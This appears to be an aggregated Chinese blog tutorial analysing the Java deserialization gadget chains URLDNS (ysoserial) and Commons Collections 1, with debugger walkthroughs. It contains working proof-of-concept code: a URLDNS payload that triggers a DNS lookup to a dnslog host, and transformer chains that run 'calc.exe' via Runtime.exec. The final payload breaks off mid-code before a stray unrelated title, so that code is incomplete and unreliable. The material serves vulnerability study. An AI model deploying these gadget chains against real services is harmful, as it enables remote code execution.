javasecURLDNS反序列化分析
Posted 海屿-uf9n1x
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了javasecURLDNS反序列化分析相关的知识,希望对你有一定的参考价值。
这篇文章介绍
URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。ysoserial 打包成jar命令 mvn clean package -DskipTests,刚刚入门所以用这条链作为学习反序列化的开始。
URLDNS 反序列化分析
URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
- URLDNS利用链,只能发起DNS请求,并不能进行其他利用
这条链的入口类是java.util.HashMap ,入口类的条件上篇文章写在了最后,这里在提一嘴:
实现Serializable接口;
重写readObject方法,调用一个常见的函数;
接收参数类型宽泛;
最好JDK自带;
HashMap
首先看一下HashMap,这个类实现了Serializable接口
重写了readObject方法,重写方法因为HashMap<K,V>存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key进行hash,这样一来就需要重写readObject方法。
putVal()就是哈希表结构存储函数,这个不是关键,关键是它调用了hash函数,根据key产生hash。
跟进hash()函数,可以看到,这里使用传入参数对象key的hashCode方法。
很多类中都具有hashCode方法(用来进行哈希),所以接下来考虑有没有可能存在某个特殊的类M,其hashCode方法中直接或间接可调用执行危险函数。这条URLDNS链中使用的执行类就是URL类。看URL类之前,还需要确定一下HashMap在readObject过程中能够正常执行到putVal()方法这里,以及传入hash方法中的参数对象keys是可控的。
首先可以看到,参数对象Key由s.readObject()获取,s是输入的序列化流,证明key是可控的。只要mappings的长度大于0,也就是序列化流不为空就满足利用条件。
URL
入口类HashMap已经分析完成,具备了利用条件,具体在分析一下URL类的hashCode方法。
可以看到当hashCode属性的值为-1时,跳过if条件,执行handler对象的hashCode方法,并将自身URL类的实例作为参数传入。
handler是URLStreamHandler的实例,跟进handler的hashCode方法(URLStreamHandler.java),接收URL类的实例,调⽤getHostAddress⽅法
继续跟进getHostAddress⽅法,getHostAddress方法中会获取传入的URL对象的IP,也就是会进行DNS请求。
这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。
整个 URLDNS 的Gadget Chain就清晰了:
1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()
URLDNS 序列化过程分析
程序入口在ysoserial.GeneratePayload,打开GeneratePayload.java,找到main方法,代码如下:
public static void main(final String[] args)
if (args.length != 2)
printUsage();
System.exit(USAGE_CODE);
//用打包出来的jar,生成序列化的文件时,ysoserial获取外面传入的参数,并赋值给对应的变量。
final String payloadType = args[0]; // URLDNS
final String command = args[1]; //http://64hu68.dnslog.cn
//接着执行Utils.getPayloadClass("URLDNS");,根据全限定类名ysoserial.payloads.URLDNS,获取对应的Class类对象。
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null)
System.err.println("Invalid payload type \'" + payloadType + "\'");
printUsage();
System.exit(USAGE_CODE);
return; // make null analysis happy
try
//通过反射创建Class类对应的对象,URLDNS对象创建完成。
final ObjectPayload payload = payloadClass.newInstance();
//然后执行执行URLDNS对象中的getObject方法
final Object object = payload.getObject(command);
PrintStream out = System.out;
Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
catch (Throwable e)
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
System.exit(0);
URLDNS类getObject方法
public Object getObject(final String url) throws Exception
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
//创建了URLStreamHandler对象
URLStreamHandler handler = new SilentURLStreamHandler();
//创建了HashMap对象
HashMap ht = new HashMap(); // HashMap that will contain the URL
//URL对象 url=http://64hu68.dnslog.cn
URL u = new URL(null, url, handler); // URL to use as the Key
//将URL对象作为HashMap中的key,dnslog地址为值,存入HashMap中。
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
//通过反射机制 设置URL对象的成员变量hashCode值为-1
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL\'s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
//将HashMap对象返回
return ht;
接着对HashMap对象进行序列化操作Serializer.serialize(object, out);并将序列化的结果重定向到dnslog1.ser文件中
实验验证
序列化过程:用打包出来的jar,生成序列化的文件。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://64hu68.dnslog.cn" > dnslog1.ser
之后在ysoserial-0.0.6-SNAPSHOT-all.jar同目录下就有生成的dnslog1.ser序列化文件。
反序列化过程:写一个测试类反序列化写入上面序列化的文件。
package ysoserial;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class Test
public static void main(String[] args) throws Exception
ObjectInputStream os = new ObjectInputStream(new FileInputStream("target/dnslog1.ser"));
os.readObject();
System.out.println("OK");
查看dns平台,反序列化直接请求到dnslog平台上
跟一下反序列化过程,设置断点,调试。
HashMap获取了key和value,调用了hash方法
跟进去,发现调用了key.hashCode方法
继续跟来到了URL类的hashCode方法因为传的key是URL类,hashCode的值为-1
进入了handler.hashCode方法
进入了hashCode.getHostAddress,使用InetAddress.getByName(host);,发送DNSLOG请求。
POC构造
根据分析,触发的关键是HashMap的put方法,故下面的代码是必须的
HashMap ht = new HashMap();
ht.put(url,"RRR");
因为ht.put需要传入URL的实例,new一个,因为URL是可序列化的,不用反射获取
URL url = new URL("http://64hu68.dnslog.cn");
根据上面的分析,必须要将这个URL 实例中的,hashCode的值变为-1,通过反射获取变量更改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1);
综上,组合起来完整的poc
package ysoserial;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Test
public static void main(String[] args) throws Exception
URL url = new URL("http://64hu68.dnslog.cn");
HashMap ht = new HashMap();
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1); //防止put就先进行解析DNS
ht.put(url,"RRR");
//序列化写文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(ht);
//反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀个SilentURLStreamHandler 类,这不是必须的。
CommonCollections1反序列化利用链分析
前言
在前面的文章 JAVA代码审计之Shiro反序列化漏洞分析 中介绍了 Java 反序列化漏洞原理、并通过 IDEA 动态调试分析了 CVE-2016-4437 Apache Shiro 反序列化漏洞的程序存在可被用户控制的序列化数值的形成( RememberMe 字段使用的 Cookie = Base64(AES(Serializable(用户ID)))
)。
反序列化漏洞的成因在于应用程序把其他格式的数据(如字节流,XML 数据、JSON 格式数据)反序列化成 Java 类的过程中,由于存在输入可控的功能点,导致攻击者可以通过精心构造的恶意序列化 Payload 来执行恶意命令。但归根结底要触发反序列化漏洞,需要被反序列化的类中重写了 readObject 方法,且被重写的 readObject 方法被插入了恶意命令 或者 借助 Java 反射机制构造的反序列化利用链中被插入了恶意命令。直接重写 readObject 方法来触发漏洞的难度较大,但是常见的第三方 Java 库 Apache Commons Collections 就存在了可被我们利用的反序列化利用链。
本文的目的,就是借助 IDEA 来分析调试 Commons Collections 反序列化利用链,从而深入理解 CVE-2016-4437 Apache Shiro 反序列化漏洞的利用原理和触发过程。
CC1利用链
Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为 Apache 开源项目的重要组件,Commons Collections 被广泛应用于各种 Java 应用的开发,它已经成为 Java 中公认的集合处理标准。
本文将介绍的 CommonsCollections1,是 Java 反序列化漏洞的第一种 RCE 序列化利用链。
CC1环境部署
CommonsCollections1 反序列化利用链基于 Commons-collections-3.1 版本, 故在本地部署 CC1 环境的项目,需要以下条件:
- 安装并使用 Java JDK 1.7(在Java 8u71以后的版本中修改了触发的类,所以不支持此链的利用);
- 借助 Maven 项目的 pom.xml 配置文件,导入 Commons Collections 3.1 依赖包;
下面来开始创建下项目:
1、使用 IDEA 新建 Maven 项目(SDK 注意选择 Java7):
2、 修改 Maven 项目的 pom.xml 配置文件,自动导入 Commons Collections 3.1 依赖包:
其中新增的配置为:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
此处注意下,修改 pom.xml 后右上角会有一个“加载 Maven 变更”的按钮(如果没有的话右键点击 pom.xml,之后点击Maven->Reload project
即可),手动点击后即可自动导入 Commons Collections 3.1 依赖包:
以上就完成了 CommonCollections1 项目的基本配置部署。
Java命令执行
在利用 CC1 链触发反序列漏洞实现 RCE 之前,我们先来看看 Java 语言中实现命令执行的一个经典例子——调用本地计算器。
1、来看看最精简版的写法:
public class exec {
public static void main(String[] args) throws Exception{
Process calc = Runtime.getRuntime().exec("calc");
}
}
运行程序即可执行命令打开本地计算器:
2、以上代码,如果写成 Java 反射的格式则如下:
public class exec {
public static void main(String[] args) throws Exception{
// c代表Runtime.class字节码文件,c代表Runtime类型
Class c = Class.forName("java.lang.Runtime");
// 通过getMethod对getRuntime这个方法进行实例化,getRuntime并不需要传参,所以传参类型为null,后面的invoke实现getRuntime
Object obj = c.getMethod("getRuntime", null).invoke(c,null);
// getMethod对exec这个方法进行实例化,然后invoke实现exec方法
c.getMethod("exec",String.class).invoke(obj,"calc.exe");
}
}
同样可执行命令打开本地计算器:
3、另外咱们再回顾下通过重写 readObject 函数来触发反序列化漏洞,实现以上执行运行本地计算器的命令的:
import java.io.*;
public class exec {
public static void main(String[] args) throws Exception {
// 初始化对象
People people = new People();
people.setName("Tr0e");
people.setAge(18);
// 序列化步骤:1、创建一个ObjectOutputStream输出流;2、调用ObjectOutputStream对象的writeObject输出可序列化对象
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("People.txt")));
oos.writeObject(people);
// 反序列化步骤:1、创建一个ObjectInputStream输入流;2、调用ObjectInputStream对象的readObject()得到序列化的对象
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("People.txt")));
ois.readObject();
}
public static class People implements Serializable {
public String name;
public int age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
//添加以下方法,重写People类的readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("calc.exe");
}
}
}
代码运行效果:
相信上述案例可直观体现反序列漏洞的原理,但问题是一般开发人员不会把Runtime.getRuntime().exec
这样的恶意命令执行代码写在反序列化方法 readObject 里,但是我们可以找一条“反射链”(即本文的主角 CommonCollections 反序列化利用链)来插入执行恶意命令代码。对于反序列化漏洞的挖掘的过程,实际上也就是结合 Java 的反射机制构造利用链(即readobject() -> getRuntime().exec
)实现任意命令执行的过程。
CC1关键函数
为了理解 CommonCollections1 反序列化利用链,需要先理解 Common Collections 反序列化利用链工具库的几个关键接口和函数。
在 Commons Collections 中有一个 Transformer 接口,其中包含一个 transform 方法,通过实现此接口来达到类型转换的目的。
其中有众多类实现了此接口,CC1 中主要利用到了以下三个。
1、InvokerTransformer
其 transform 方法实现了通过反射来调用某方法:
2、ConstantTransformer
其 transform 方法将输入原封不动的返回:
3、 ChainedTransformer
其 transform 方法实现了对每个传入的 transformer 都调用其 transform 方法,并将结果作为下一次的输入传递进去:
利用链 POC1
除了上述三个实现了 Transformer 接口的类外,还有一个类需要特殊补充下——TransformedMap。
Map 类是存储键值对的数据结构,Apache Commons Collection 中实现了类 TransformedMap,用来对 Map 进行某种变换。只要调用 TransformedMap 类中的decorate()
函数,传入 key 和 value 的变换函数 Transformer,即可从任意 Map 对象生成相应的 TransformedMap。decorate()
函数如下:
当 Map 中的任意项的 Key 或者 Value 被修改,相应的 Transformer 就会被调用。要想任意代码执行,我们可以首先构造一个 Map 和一个能够执行代码的 ChainedTransformer,以此生成一个 TransformedMap,然后修改 Map 中的任意项的 Key 或者 Value,或者想办法去触发 Map 中的 MapEntry 产生修改(例如setValue()
函数),即可触发我们构造的 Transformer。
1、简单的利用上面的知识点,构造了一个简单的链,达到命令执行:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class exec {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("zeo", "666");
}
}
2、代码运行效果如下:
来简单作下代码分析:
- 定义一个 Transformer 对象的数组,构造中间的小链子(包含 ConstantTransformer,InvokerTransformer);
- 基于反射调用 InvokerTransformer 构造命令执行代码;
- 命令执行造好了,还有一个触发 ChainedTransformer 的方法,就是 TransformedMap.decorate 方法;
- 实例化一个 Map对象,然后修饰绑定上 transformerChain 这个上面,每当有 Map 有新元素进来的时候,就会触发上面的链;
- 所以 Map 对象
put("zeo", "666")
一下就会触发命令执行成功弹出了计算器。
3、对上述 POC 进行简单的改造(主要是改末尾的 outerMap.put("zeo", "666");
):
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}
4、也是可以触发漏洞的:
当上面的代码运行到 setValue() 时,就会触发 ChainedTransformer 中的一系列变换函数:
- 首先通过 ConstantTransformer 获得 Runtime 类;
- 进一步通过反射调用 getMethod 找到 invoke 函数;
- 最后再运行命令 calc.exe。
但是目前的构造还需要依赖于触发 Map 中某一项去调用 setValue(),我们需要想办法通过 readObject() 直接触发。
【调试分析】
下面利用 IDEA 来调试分析下上述代码触发反序列化漏洞的过程:
1、在 setValue 函数所在的行下断点调试:
2、F7 跟进,调用了 checkSetValue 方法:
3、F7 继续跟进,会跳到 TransformedMap 类的 checkSetValue 方法:
4、继续 F7 跟进,会来到 ChainedTransformer 的 transform 方法:
5、继续跟就会来到命令执行的 transform 方法中,最终导致 RCE:
利用链 POC2
上面的 POC 代码虽然成功触发反序列化漏洞了,但是其实是手动触发的,没什么用的。反序列化洞,你不得找到一个反序列化的点,来触发这个洞吗?所以关键目标是:找到⼀个类,它在反序列化的 readObject()
函数逻辑⾥有类似的写⼊操作。
我们观察到 Java 运行库中有这样一个类AnnotationInvocationHandler
,这个类有一个成员变量 memberValues 是 Map 类型,如下所示:
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
...
更令人惊喜的是,AnnotationInvocationHandler
的 readObject() 函数中对 memberValues 的每一项调用了 setValue() 函数,如下所示:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 此处触发一些列的Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
因此,我们只需要使用前面构造的 Map 来构造 AnnotationInvocationHandler 进行序列化,当触发 readObject() 反序列化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的 package 中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的 payload 的代码如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Ser {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
// 包装对象
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null,}),
new InvokerTransformer("invoke", new Class[]{xmldecoder反序列化漏洞分析